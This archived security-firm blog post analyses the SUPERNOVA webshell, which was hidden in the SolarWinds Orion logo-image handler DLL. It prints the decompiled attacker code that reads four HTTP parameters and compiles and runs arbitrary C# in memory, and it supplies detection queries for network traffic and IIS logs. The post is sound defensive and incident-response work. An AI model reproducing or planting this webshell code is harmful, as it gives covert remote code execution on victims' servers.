SUPERNOVA SolarWinds .NET Webshell Analysis

By GuidePoint Security

Published: 2020-12-14 · Archived: 2026-04-05 15:51:22 UTC

Published 12/14/20, 9:30am

Introduction

The recently announced supply-chain compromise of SolarWinds and FireEye illustrated many of the threats observed during that investigation, with particular focus being placed on the SUNBURST SolarWinds Orion implant, the memory-resident TEARDROP malware dropper, and usage of Cobalt Strike's BEACON module. However, in the IOCs listed by FireEye as part of this investigation, a .NET webshell named SUPERNOVA was identified with no supplemental analysis as to its method of operation or any behavioral indications of this webshell being present in an environment.

The GuidePoint Security Digital Forensics and Incident Response Practice closely monitors the on-going threat landscape and the emerging state-of-the-practice to ensure that the most up-to-date information and methods are being utilized in the services we provide to our clients. To that end, this post will describe the SUPERNOVA webshell's operation in-depth, as well as show how this webshell's activity can be detected within your organization.

Overview

The SUPERNOVA webshell is an anonymous code C# webshell written in .NET C# that is specifically written for usage on SolarWinds Orion servers. It is deployed as a DLL module that masquerades as a SolarWinds web service that returns the current logo image for display by the SolarWinds Orion application. In normal operation, this webshell performs the operation of returning the appropriate logo image as requested by other elements of the Orion application, requiring a specific set of parameters to be present in the HTTP GET Request for any of the malicious code to execute. This allows the webshell to remain undetected until such time as the attackers decide to utilize it.

The parameters required for webshell remote code execution include the C# code intended to be compiled and executed by the .NET C# compiler, the C# class to be called, the method within that class to be executed, and the parameters to pass to the requested method. Upon receiving an HTTP GET Request with the necessary parameters supplied, the webshell will collect the parameters and pass them to an additional C# method added by the attacker which will perform the compilation and memory-resident execution of the requested C# class method.

Once this compilation and execution has been completed, the result is returned to the Write() method of the HTTP Response object, which is then returned as the HTTP Response. This execution does not cause or require execution of the Windows Command Processor (cmd.exe) or PowerShell, runs all operations within memory, and

has the entirety of the .NET C# API available to the attacker to conduct actions-on-objective. While anonymous code webshells are not new, as webshells like China Chopper have been around for more than a decade, the majority of anonymous code webshells are for interpreted languages and are centered around commonly used web languages, such as PHP, ASP, or Java. Anonymous code webshells utilizing a compiled code language indicate a significant level of sophistication within the threat group that employs them.

Analysis Detail

SUPERNOVA is implemented as a modification to the existing 'app_web_logoimagehandler.ashx.b6031896.dll' module of the SolarWinds Orion application. The purpose of this module, in it's legitimate form, is to return the logo image configured by the user to various web pages of the SolarWinds Orion web application. This is done through the ProcessRequest() method of the LogoImageHandler class. In legitimate operation, this class only contains the ProcessRequest() and LogoImageHandler() methods, a private static Log object, and public boolean parameter IsReusable. The malicious additions made by the threat actors include:

- An extra try/catch block at the beginning of the ProcessRequest() method
- An extra method called DynamicRun()

Now, to discuss each of these in detail, beginning with the ProcessRequest() try/catch block.

ProcessRequest() Try/Catch Block

As the ProcessRequest() method is the primary driver method that parses the incoming HTTP Request, this was the most appropriate place for the attacker to implement code to parse and handle the webshell parameters passed to SUPERNOVA. As such, the attacker's implemented their argument-handling code in a try/catch block at the very beginning of the ProcessRequest() method. This code block is shown below:

```
public class LogoImageHandler : IHttpHandler
{
    private static Log _log;

    public bool IsReusable => false;

    public void ProcessRequest(HttpContext context)
    {
        try
        {
            string codes = context.get_Request().get_Item("codes");
            string clazz = context.get_Request().get_Item("clazz");
            string method = context.get_Request().get_Item("method");
            string[] args = context.get_Request().get_Item("args").Split(new char[1]
            {
                '\n'
            });
            context.get_Response().set_ContentType("text/plain");
            context.get_Response().Write(DynamicRun(codes, clazz, method, args));
        }
        catch (Exception)
        {
        }
        NameValueCollection nameValueCollection = HttpUtility.ParseQueryString(context.get_Request().get_Url().Query);
        try
        {
            string a = nameValueCollection["id"];
            string s;
            if (!(a == "SitelogoImage"))
            {
                if (!(a == "SiteNoclogoImage"))
                {
                    throw new ArgumentOutOfRangeException(nameValueCollection["id"]);
                }
                s = WebSettingsDAL.get_NewNOCSiteLogo();
            }
            else
            {
                s = WebSettingsDAL.get_NewSiteLogo();
            }
            byte[] array = Convert.FromBase64String(s);
            if ((array == null || array.Length == 0) && File.Exists(HttpContext.get_Current().get_Server().MapPath("//NetPerfMon//im
            {
                array = File.ReadAllBytes(HttpContext.get_Current().get_Server().MapPath("//NetPerfMon//images//NoLogo.gif"))
            }
            string contentType = (array.Length >= 2 && array[0] == byte.MaxValue && array[1] == 216) ? "image/jpeg" : ((array.Leng
            context.get_Response().get_OutputStream().Write(array, 0, array.Length);
            context.get_Response().set_ContentType(contentType);
            context.get_Response().get_Cache().SetCacheability((HttpCacheability)2);
            context.get_Response().set_StatusDescription("OK");
            context.get_Response().set_StatusCode(200);
            return;
        }
        catch (Exception ex2)
        {
            _log.Error((object)"Unexpected error trying to provide logo image for the page.", ex2);
        }
        context.get_Response().get_Cache().SetCacheability((HttpCacheability)1);
        context.get_Response().set_StatusDescription("NO IMAGE");
        context.get_Response().set_StatusCode(500);
    }
```

Figure 2: Attacker-Implemented Argument-Handling Try/Catch Block

The attacker-implemented try/catch block can be broken down into two primary segments, one concerning the webshell input and another concerning the webshell output. The first are the parameter instantiations, in which the code determines if the four attacker parameters exist in the HTTP Request, and if they do, then extract the values of those parameters to string objects of corresponding parameter names. The four attacker parameters, and their purposes, are as follows:

- “codes”: Stores anonymous C# code to be compiled and executed by the webshell
- “clazz”: Stores the .NET C# class name that the attacker wants to instantiate as part of this execution
- “method”: The specific method to be executed within the requested .NET C# class being instantiated by the “clazz” parameter

- “args”: A newline-delimeted list of arguments to pass to the executing method requested by the “method” parameter

The second segment is comprised of the last two lines of the try{} block, which involves setting values within the Response object of the HttpContext ‘context’ object. As this Response object is the data that will be sent back to the attacker in the HTTP Response, this serves as the output mechanism for this webshell. The first instruction sets the HTTP Response Content-Type Header Value to ‘text/plain’, indicating that the HTTP Response body will consist of plain-text content; this is commonly observed webshell operation.

```
context.get_Response().set_ContentType(“text/plain”)
```

Figure 2: Setting of the HTTP Response Content-Type Header

The last instruction of the try{} block simultaneously calls the DynamicRun() method to execute with the attacker-supplied parameters, and routes the output of the DynamicRun() method straight to the Write() method of the Response object via a nested method call.

context.get_Response().Write(DynamicRun(codes, cl`azz, method, args))`

Figure 3: DynamicRun() Method Call Nested in Write() Method Call of Response Object

Since the second instruction both executes and outputs the result to the Response object, the try{} block completes and the result is returned to the attacker.

Next, we discuss the attacker-implemented DynamicRun() method.

DynamicRun() Method

The DynamicRun() method added by the attacker is where the actual compilation and execution of the requested class and method take place.

```
public class LogoImageHandler : IHttpHandler
{
    private static Log _log;

    public bool IsReusable => false;

    public void ProcessRequest(HttpContext context)
    ...

    static LogoImageHandler()
    ...

    public string DynamicRun(string codes, string clazz, string method, string[] args)
    {
        //IL_0000: Unknown result type (might be due to invalid IL or missing references)
        //IL_000a: Unknown result type (might be due to invalid IL or missing references)
        //IL_000f: Unknown result type (might be due to invalid IL or missing references)
        //IL_0020: Unknown result type (might be due to invalid IL or missing references)
        //IL_0031: Unknown result type (might be due to invalid IL or missing references)
        //IL_0042: Unknown result type (might be due to invalid IL or missing references)
        //IL_0053: Unknown result type (might be due to invalid IL or missing references)
        //IL_005a: Unknown result type (might be due to invalid IL or missing references)
        //IL_0067: Expected O, but got Unknown
        ICodeCompiler obj = ((CodeDomProvider)new CSharpCodeProvider()).CreateCompiler();
        CompilerParameters val = new CompilerParameters();
        val.get_ReferencedAssemblies().Add("System.dll");
        val.get_ReferencedAssemblies().Add("System.ServiceModel.dll");
        val.get_ReferencedAssemblies().Add("System.Data.dll");
        val.get_ReferencedAssemblies().Add("System.Runtime.dll");
        val.set_GenerateExecutable(false);
        val.set_GenerateInMemory(true);
        CompilerResults val2 = obj.CompileAssemblyFromSource((CompilerParameters)(object)val,
        if (val2.get_Errors().get_HasErrors())
        {
            string.Join(Environment.NewLine, ((IEnumerable)val2.get_Errors()).Cast<CompilerErr
            Console.WriteLine("error");
            return ((object)val2.get_Errors()).ToString();
        }
        object obj2 = val2.get_CompiledAssembly().CreateInstance(clazz);
        return (string)obj2.GetType().GetMethod(method)!.Invoke(obj2, args);
    }
}
```

Figure 4: DynamicRun() Attacker-Implemented Method

The majority of instructions in this method are just setup code for compilation of the requested class and method into something that can be executed in memory. However, some instructions stand out as significant or explanatory. First items of interest are instructions seven and eight.

```
7 val.set_GenerateExecutable(false);
8 val.set_GenerateInMemory(true);
```

Figure 5: Instructions Setting Memory-Resident Compiled Code Execution Only

Instruction seven tells the compiler not to create an executable on disk to load for execution of the compiled class and method, with instruction eight telling the compiler to generate the compiled module within memory only. These two instructions together ensure that any requested compiled modules will not leave filesystem evidence for

incident response analysts to determine what classes and methods were executed by the attacker using this webshell.

```
 9 CompilerResults val2 = obj.CompileAssemblyFromSource(
   (CompilerParameters)(object)val, codes
);
```

Figure 6: Passing of Anonymous C# Code in “codes” to .NET Compiler and Compilation

Instruction nine passes the C# code contained in the “codes” string object parameter to the compiler, then the module is compiled by the CompileAssemblyFromSource() method. This creates the memory-resident module for executing, which is stored in the val2 CompilerResults object.

```
 16 object obj2 = val2.get_CompiledAssembly().CreateInstance(clazz);17 return
(string)obj2.GetType().GetMethod(method)!.Invoke(obj2, args);
```

Figure 7: Class Instantiation and Method Execution

Instructions 16 and 17 use the compiled module and instantiate its contained class referenced in the “clazz” parameter, then invokes the target method referenced in the “method” parameter with the attacker-supplied arguments referenced in the “args” parameter. The result of this method execution is stored in the return value of the method, and the DynamicRun() method terminates. The return value is the value that is used by the Write() method of the Response object that was discussed previously.

Detection

Network Dataset

The key behavioral aspects that we can take from the code reviewed are the requirement for the four attacker parameters to be present for execution of the malicious code, and the HTTP Response Content-Type Header value anomaly caused by the execution of the malicious webshell code. Utilizing these as detection mechanisms allow us to apply hunting-type dataset reductions with a reasonable level of fidelity on both the Request and Response side of the malicious network communications. For the Request side, we would want to implement a ruleset or query that would key in on the existence of the four webshell parameters (“codes”, “clazz”, “method”, and “args”) for any inbound HTTP connections to logoimagehandler.ashx. An example of this logic in Lucene-syntax pseudo-query would be as follows:

```
 direction:inbound AND
rotocol:http AND
uri.filename:logoimagehandler.ashx AND
uri.param:codes AND
uri.param:clazz AND
uri.param:method AND
uri.param:args
```

Figure 8: Pseudo-Query Logic for SUPERNOVA Webshell Access Identification

For the Response side, we would want to key in on the HTTP Response Content-Type Header value of ‘text/plain’ resulting from a HTTP Request to logoimagehandler.ashx.

```
direction:inbound AND
protocol:http AND
uri.filename:logoimagehandler.ashx AND
http.response.contenttype:text/plain
```

Figure 9: Pseudo-Query Logic for SUPERNOVA Webshell Access Response Identification

Logs

The access logs for the IIS web server hosting the SolarWinds Orion web application would be the best location in the log dataset to identify this activity. Here, we would take a similar approach as in Figure 8, attempting to identify HTTP Requests to logoimagehandler.ashx in which the URI contains the “codes”, “clazz”, “method”, and “args” parameters. The query logic would look similar to the logic shown in Figure 8.

```
uri.filename:logoimagehandler.ashx AND
uri.query contains “codes” AND
uri.query contains “clazz” AND
uri.query contains “method” AND
uri.query contains “args”
```

Figure 10: Pseudo-Query Logic for SUPERNOVA Webshell Access Identification in IIS Logs

Conclusion

While webshells are a common access and persistence mechanism leveraged by attackers, characteristics of this specific webshell reiterate the targeted nature and sophistication of these specific attacks. The SUPERNOVA webshell was developed specifically for use on SolarWinds Orion systems, does not appear to repurpose code from other well-known webshells, contains various functionality to ensure limited identification or detection capabilities, and various other characteristics reemphasizing involvement from a nation-state sponsored actor. GuidePoint recommends utilizing the aforementioned detection capabilities, in combination with other IOC’s that have been released for other components of this threat, to ensure your organization has not been impacted.
